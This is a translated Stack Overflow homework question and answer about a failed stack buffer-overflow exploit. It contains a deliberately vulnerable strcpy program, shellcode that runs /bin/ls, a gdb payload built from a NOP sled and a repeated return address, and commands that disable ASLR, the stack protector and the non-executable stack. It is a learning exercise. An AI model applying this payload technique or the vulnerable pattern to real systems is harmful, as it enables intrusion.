c - 家庭作业 - 无法利用缓冲区溢出

标签 c buffer-overflow shellcode

我正在尝试学习在 Backtrack Linux 上利用简单的缓冲流技术。

这是我的C程序

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buffer[500];
    if(argc==2)
    {

    strcpy(buffer, argv[1]);  //vulnerable function

    }

    return 0;
}

这是我使用的shellcode,对应简单的/bin/ls \x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80

我使用以下命令将此 shellcode 注入(inject) gdb

run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')

当我单步执行应用程序时,它会在最后的 ret 指令上生成 SIG FAULT。此时 EIP 已正确设置为 0xffffd30c。该地址是可寻址的,包含一系列 NOP,后跟我的 shell 代码,如有效负载中所示。

我已经禁用了 ASLR sudo echo 0 >/proc/sys/kernel/randomize_va_space

并且还使用 fno-stack-protector 选项编译了我的二进制文件。

知道 SIGSEGV 的原因是什么吗?

最佳答案

我已经回答了我自己的问题,问题是“可执行堆栈保护”,无法在堆栈内存中执行。这可以在 gcc 中禁用,如下所示

gcc -z execstack

关于c - 家庭作业 - 无法利用缓冲区溢出,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/6964847/

相关文章:

c - 我如何使用c套接字程序显示客户端地址?

c - Oracle OCI - 以另一个用户身份运行时失败并出现 ORA-12705

c - 缓冲区溢出,修改了 Seedlab 问题?

security - 缓冲区溢出 - 程序在生成 shell 后终止

c - 通过 scanf 定义列表的大小

c - 如何在 C 中使用 cURL 从服务器下载 ZIP 文件?

c - 缓冲区溢出导致终端将额外的字符作为 shell 命令执行

wcf - [DataMember] 是 WCF 契约(Contract)中的字节数组是否存在安全隐患?

linux - 为什么 seccomp 禁止我正常的系统调用

linux - 获取 shell 的 shellcode,但发生段默认